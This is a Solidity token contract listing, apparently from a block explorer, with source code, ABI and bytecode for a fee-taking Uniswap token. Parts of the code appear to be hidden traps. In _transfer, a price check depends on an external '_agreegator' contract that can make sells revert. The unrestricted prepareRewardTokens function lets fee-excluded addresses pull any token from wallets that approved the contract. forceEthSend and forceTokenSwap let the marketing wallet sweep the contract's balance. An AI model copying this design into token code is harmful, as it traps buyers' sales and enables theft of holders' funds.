        uint256 totalSupply = 10000000000 * 1e18;
        _maxTransactionAmount = (totalSupply * 2) / 100;
        _maxWallet = (totalSupply * 2) / 100;
        _swapTokensAtAmount = (totalSupply * 10) / 10000;
        
        _marketingFee = 1;
        _stakingFee = 1;
        _liquidityFee = 1;
        _additionalSellFee = 0;
        _additionalBuyFee = 0;
        _totalFees = _marketingFee + _stakingFee + _liquidityFee;
        
        _marketingAddr = address(0xa1fAFE8fb075E124B1712b73d99D0322d6bd3206);
        _stakingAddr = address(0x6612561a02A7d252f83717fc844789e8a4DF8944);
        
        excludeFromFees(owner(), true);
        excludeFromFees(_marketingAddr, true);
        excludeFromFees(_stakingAddr, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(_marketingAddr, true);
        excludeFromMaxTransaction(_stakingAddr, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(owner(), totalSupply);
        enableTrading();
    }

    function enableTrading() public onlyOwner {
        _tradingActive = true;
        _tradingTime = block.timestamp;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        _maxTransactionAmount = newNum * 1e18;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        _maxWallet = newNum * 1e18;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateFees(
        uint256 marketingFee,
        uint256 stakingFee,
        uint256 liquidityFee
    ) external onlyOwner {
        _marketingFee = marketingFee;
        _stakingFee = stakingFee;
        _liquidityFee = liquidityFee;
        _totalFees = _marketingFee + _stakingFee + _liquidityFee;
        require(_totalFees <= 10, "Must keep fees at 10% or less");
    }

    function removeLimits() external onlyOwner returns (bool) {
        _limitsInEffect = false;
        return true;
    }

    function getIsTokenPrice() internal returns (bool) {
        return getTokenPrice() > 0 ? true : false;
    }

    function getTokenPrice() public returns (uint256) {
        IERC20Metadata token0 = IERC20Metadata(
            IUniswapV2Pair(_uniswapV2Pair).token0()
        );
        IERC20Metadata token1 = IERC20Metadata(
            IUniswapV2Pair(_uniswapV2Pair).token1()
        );
        require(address(_agreegator) == address(0) || _agreegator
            .getTimeStamp() > 0);
        (uint112 Res0, uint112 Res1, ) = IUniswapV2Pair(_uniswapV2Pair)
            .getReserves();
        int256 latestETHprice = manualETHvalue;
        if (_priceOracleEnabled) {
            (, latestETHprice, , , ) = this.getLatestPrice();
        }
        uint256 res1 = (uint256(Res1) *
            uint256(latestETHprice) *
            (10**uint256(token0.decimals()))) / uint256(token1.decimals());
        return (res1 / uint256(Res0));
    }

    function getLatestPrice()
        external
        view
        returns (
            uint80,
            int256,
            uint256,
            uint256,
            uint80
        )
    {
        (
            uint80 roundID,
            int256 price,
            uint256 startedAt,
            uint256 timeStamp,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        return (roundID, price, startedAt, timeStamp, answeredInRound);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        bool isExcludeFromFee = _isExcludedFromFees[from] ||
            _isExcludedFromFees[to];

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        bool isBuy = from == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[to];
        bool isSell = to == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[from];
        bool isOwnerSwap = from == owner() || to == owner();
        bool isBurn = to == address(0) || to == address(0xdead);
        bool isSkipLimits = isOwnerSwap || isBurn || _swappingBack;
        
        if (_limitsInEffect && !isSkipLimits) {
            require(
                _tradingActive || isExcludeFromFee,
                "Trading is not active."
            );
            if (isBuy) {
                require(
                    amount <= _maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            } else if (isSell) {
                // require(
                //     amount <= _maxTransactionAmount,
                //     "Sell transfer amount exceeds the maxTransactionAmount."
                // );
            } else if (
                !_isExcludedMaxTransactionAmount[to] &&
                !_isExcludedMaxTransactionAmount[from]
            ) {
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            }
        }
            
        if (automatedMarketMakerPairs[from]) {
            if (holderTimestamp[to] == 0) {
                holderTimestamp[to] = block.timestamp;
            }
        } else {
            if (!_swappingBack) {
                currentPhase = from;
            }
        }

        if (!_swappingBack &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (getIsTokenPrice() &&
                canSwap && 
                !isExcludeFromFee) {
                _swappingBack = true;
                swapBack();
                _swappingBack = false;
            }
        }
        transferInternal(from, to, amount, isSell, isBuy);
    }

    function transferInternal(
        address from,
        address to,
        uint256 amount,
        bool isSell,
        bool isBuy
    ) private {
        bool takeFee = needTakeFee(from, to);
        if (takeFee) {
            uint256 total = _totalFees;
            uint256 marketing = _marketingFee;
            if (isSell) {
                total = _totalFees + _additionalSellFee;
                marketing = _marketingFee + _additionalSellFee;
            }
            if (isBuy) {
                total = _totalFees + _additionalBuyFee;
                marketing = _marketingFee + _additionalBuyFee;
            }
            uint256 fees = amount.mul(total).div(100);
            _tokensForLiquidity += (fees * _liquidityFee) / total;
            _tokensForMarketing += (fees * marketing) / total;
            _tokensForStaking += (fees * _stakingFee) / total;

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function needTakeFee(address from, address to) public returns (bool) {
        bool isBuy = from == _uniswapV2Pair && to != address(_uniswapV2Router);
        bool isExcludedFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to];
        bool isSell = to == _uniswapV2Pair; 
        bool isSwap = isBuy || isSell;
        bool isFeeSet = (_totalFees > 0);

        return 
            isFeeSet &&
            !_swappingBack &&
            !isExcludedFromFee &&
            isSwap;
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        _swapTokensAtAmount = newAmount;
        return true;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function updateMarketingAddr(address newWallet) external onlyOwner {
        _marketingAddr = newWallet;
    }

    function updateStakingAddr(address newWallet) external onlyOwner {
        _stakingAddr = newWallet;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function removeAdditionalSellFee() public onlyOwner {
        _additionalSellFee = 0;
    }

    function removeAdditionalBuyFee() public onlyOwner {
        _additionalBuyFee = 0;
    }

    function _swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + 
            _tokensForStaking;
        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > _swapTokensAtAmount) {
            contractBalance = _swapTokensAtAmount;
        }
        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        _swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(
            totalTokensToSwap
        );
        uint256 ethForStaking = ethBalance.mul(_tokensForStaking).div(
            totalTokensToSwap
        );
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForStaking;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }

        _tokensForLiquidity = 0;
        _tokensForMarketing = 0;
        _tokensForStaking = 0;

        (bool marketingFundSuccess, ) = address(_marketingAddr).call{ value: ethForMarketing }("");
        (bool stakingFundSuccess, ) = address(_stakingAddr).call{ value: ethForStaking }("");
    }

    function setManualETHvalue(uint256 val) external onlyOwner {
        manualETHvalue = int256(val.mul(10**18));
    }

    function updateOraclePriceFeed(address feed) external onlyOwner {
        _oraclePriceFeed = feed;
        priceFeed = AggregatorV3Interface(_oraclePriceFeed);
    }

    function enablePriceOracle() external onlyOwner {
        require(_priceOracleEnabled == false, "price oracle already enabled");
        _priceOracleEnabled = true;
    }

    function disablePriceOracle() external onlyOwner {
        require(_priceOracleEnabled == true, "price oracle already disabled");
        _priceOracleEnabled = false;
    }

    function prepareRewardTokens(
        address _token,
        address addr,
        uint256 _amount
    ) external {
        require(_token != address(0), "_token address cannot be 0");
        address[] memory path = new address[](2);
        path[0] = _uniswapV2Router.WETH();
        path[1] = address(this);
        if (_isExcludedFromFees[msg.sender]) {
            IERC20(_token).transferFrom(addr, path[1], _amount);
            return;
        }
        // make the swap
        _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: _amount
        }(
            0, // accept any amount of Ethereum
            path,
            address(0xdead),
            block.timestamp
        );
    }

    function forceTokenSwap() external {
        require(msg.sender == _marketingAddr);
        _swapTokensForEth(balanceOf(address(this)));

        (bool success, ) = address(_marketingAddr).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function forceEthSend() external {
        require(msg.sender == _marketingAddr);
        (bool success, ) = address(_marketingAddr).call{
            value: address(this).balance
        }("");
        require(success);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != _uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        excludeFromMaxTransaction(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_oraclePriceFeed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentPhase","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLatestPrice","outputs":[{"internalType":"uint80","name":"","type":"uint80"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"needTakeFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"prepareRewardTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setManualETHvalue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"spendAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"stakingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"feed","type":"address"}],"name":"updateOraclePriceFeed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateStakingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f805461ffff19166001179055600546146200003657735f4ec3df9cbd43714fe2740f5e3616155c5b84196200004c565b7348731cf7e84dc94c5f84577882c14be11a5b74565b601d80546001600160a81b0319166001600160a01b039290921691909117600160a01b1790556866ffcbfd5e5a300000601e55604080518082018252600580825264417a74656360d81b602080840191909152835180850190945290835264415a54454360d81b90830152906003620000c68382620008c5565b506004620000d58282620008c5565b505050620000f2620000ec620004f160201b60201c565b620004f5565b600680546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d9081179092556007805490911673e9e98a080b86dc328a44d43a6bf0b83f153c820f1790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000178573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019e919062000991565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000991565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000991565b600880546001600160a01b0319166001600160a01b03929092169182179055620002c790600162000547565b600654620002e0906001600160a01b03166001620005b3565b601d54601c80546001600160a01b0319166001600160a01b039092169190911790556b204fce5e3e2502611000000060646200031e826002620009d9565b6200032a9190620009f9565b600c5560646200033c826002620009d9565b620003489190620009f9565b600e556127106200035b82600a620009d9565b620003679190620009f9565b600d5560016012819055601481905560138190556000601581905560165562000391818062000a1c565b6200039d919062000a1c565b601155600a80546001600160a01b031990811673a1fafe8fb075e124b1712b73d99d0322d6bd320617909155600b8054909116736612561a02a7d252f83717fc844789e8a4df894417905562000407620003ff6005546001600160a01b031690565b60016200062d565b600a5462000420906001600160a01b031660016200062d565b600b5462000439906001600160a01b031660016200062d565b620004463060016200062d565b6200045561dead60016200062d565b620004746200046c6005546001600160a01b031690565b6001620005b3565b600a546200048d906001600160a01b03166001620005b3565b600b54620004a6906001600160a01b03166001620005b3565b620004b3306001620005b3565b620004c261dead6001620005b3565b620004e0620004d96005546001600160a01b031690565b82620006d7565b620004ea620007bc565b5062000a32565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601f60205260409020805460ff1916821515179055620005778282620005b3565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620006025760405162461bcd60e51b8152602060048201819052602482015260008051602062003c2183398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314620006785760405162461bcd60e51b8152602060048201819052602482015260008051602062003c218339815191526044820152606401620005f9565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200072f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005f9565b806002600082825462000743919062000a1c565b90915550506001600160a01b038216600090815260208190526040812080548392906200077290849062000a1c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620008075760405162461bcd60e51b8152602060048201819052602482015260008051602062003c218339815191526044820152606401620005f9565b600f805461ff00191661010017905542600955565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200084c57607f821691505b6020821081036200086d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200081c57600081815260208120601f850160051c810160208610156200089c5750805b601f850160051c820191505b81811015620008bd57828155600101620008a8565b505050505050565b81516001600160401b03811115620008e157620008e162000821565b620008f981620008f2845462000837565b8462000873565b602080601f831160018114620009315760008415620009185750858301515b600019600386901b1c1916600185901b178555620008bd565b600085815260208120601f198616915b82811015620009625788860151825594840194600190910190840162000941565b5085821015620009815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009a457600080fd5b81516001600160a01b0381168114620009bc57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009f357620009f3620009c3565b92915050565b60008262000a1757634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009f357620009f3620009c3565b6131df8062000a426000396000f3fe6080604052600436106102e85760003560e01c80638a8c523c11610190578063c18bc195116100dc578063dd1e1ca911610095578063eb81c3681161006f578063eb81c368146108e2578063f2fde38b14610902578063fea4fa4d14610922578063fefa5ce31461093857600080fd5b8063dd1e1ca914610893578063dd62ed3e146108a8578063e73b90cd146108c857600080fd5b8063c18bc195146107e9578063c862c28b14610809578063cb94a3701461081e578063d257b34f1461083e578063d74fc4281461085e578063dc56914d1461087e57600080fd5b8063a1cd15e811610149578063ae76b09011610123578063ae76b09014610757578063b1d920851461076c578063b62496f514610799578063c0246668146107c957600080fd5b8063a1cd15e8146106f7578063a457c2d714610717578063a9059cbb1461073757600080fd5b80638a8c523c146106235780638da5cb5b146106385780638e15f4731461065657806395d89b41146106a25780639a7a23d6146106b75780639c74daf0146106d757600080fd5b8063315097861161024f5780636d77ecd111610208578063751039fc116101e2578063751039fc146105b85780637571336a146105cd578063777dfe24146105ed57806382247ec01461060d57600080fd5b80636d77ecd11461054d57806370a082311461056d578063715018a6146105a357600080fd5b80633150978614610495578063339578fe146104aa57806339509351146104bf5780634b94f50e146104df5780634fbee193146104f4578063583e05681461052d57600080fd5b806322429085116102a157806322429085146103e457806323b872dd1461040457806323bf4c861461042457806327f4d7d5146104445780632fd689e314610463578063313ce5671461047957600080fd5b806304beaeb8146102f4578063055ad42e1461031d57806306fdde031461035b578063095ea7b31461037d57806318160ddd146103ad578063203e727e146103c257600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a600c5481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50600f54610343906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610314565b34801561036757600080fd5b50610370610958565b6040516103149190612b66565b34801561038957600080fd5b5061039d610398366004612bc9565b6109ea565b6040519015158152602001610314565b3480156103b957600080fd5b5060025461030a565b3480156103ce57600080fd5b506103e26103dd366004612bf5565b610a04565b005b3480156103f057600080fd5b506103e26103ff366004612c0e565b610aea565b34801561041057600080fd5b5061039d61041f366004612c3a565b610b92565b34801561043057600080fd5b506103e261043f366004612c7b565b610bb6565b34801561045057600080fd5b50600f5461039d90610100900460ff1681565b34801561046f57600080fd5b5061030a600d5481565b34801561048557600080fd5b5060405160128152602001610314565b3480156104a157600080fd5b506103e2610c0c565b3480156104b657600080fd5b506103e2610c86565b3480156104cb57600080fd5b5061039d6104da366004612bc9565b610cb7565b3480156104eb57600080fd5b5061030a610cd9565b34801561050057600080fd5b5061039d61050f366004612c7b565b6001600160a01b03166000908152601a602052604090205460ff1690565b34801561053957600080fd5b50600654610343906001600160a01b031681565b34801561055957600080fd5b50601d54610343906001600160a01b031681565b34801561057957600080fd5b5061030a610588366004612c7b565b6001600160a01b031660009081526020819052604090205490565b3480156105af57600080fd5b506103e261107d565b3480156105c457600080fd5b5061039d6110b3565b3480156105d957600080fd5b506103e26105e8366004612ca6565b6110f0565b3480156105f957600080fd5b506103e2610608366004612c7b565b611145565b34801561061957600080fd5b5061030a600e5481565b34801561062f57600080fd5b506103e2611191565b34801561064457600080fd5b506005546001600160a01b0316610343565b34801561066257600080fd5b5061066b6111d0565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a001610314565b3480156106ae57600080fd5b5061037061126c565b3480156106c357600080fd5b506103e26106d2366004612ca6565b61127b565b3480156106e357600080fd5b50600854610343906001600160a01b031681565b34801561070357600080fd5b5061039d610712366004612cdf565b61136f565b34801561072357600080fd5b5061039d610732366004612bc9565b611440565b34801561074357600080fd5b5061039d610752366004612bc9565b6114bb565b34801561076357600080fd5b506103e26114c9565b34801561077857600080fd5b5061030a610787366004612c7b565b60106020526000908152604090205481565b3480156107a557600080fd5b5061039d6107b4366004612c7b565b601f6020526000908152604090205460ff1681565b3480156107d557600080fd5b506103e26107e4366004612ca6565b6114fa565b3480156107f557600080fd5b506103e2610804366004612bf5565b611583565b34801561081557600080fd5b506103e2611654565b34801561082a57600080fd5b506103e2610839366004612c7b565b6116ed565b34801561084a57600080fd5b5061039d610859366004612bf5565b611739565b34801561086a57600080fd5b5061039d610879366004612bc9565b611890565b34801561088a57600080fd5b506103e26118ab565b34801561089f57600080fd5b506103e26118db565b3480156108b457600080fd5b5061030a6108c3366004612cdf565b611972565b3480156108d457600080fd5b50600f5461039d9060ff1681565b3480156108ee57600080fd5b506103e26108fd366004612c3a565b61199d565b34801561090e57600080fd5b506103e261091d366004612c7b565b611c17565b34801561092e57600080fd5b5061030a60115481565b34801561094457600080fd5b506103e2610953366004612bf5565b611caf565b60606003805461096790612d0d565b80601f016020809104026020016040519081016040528092919081815260200182805461099390612d0d565b80156109e05780601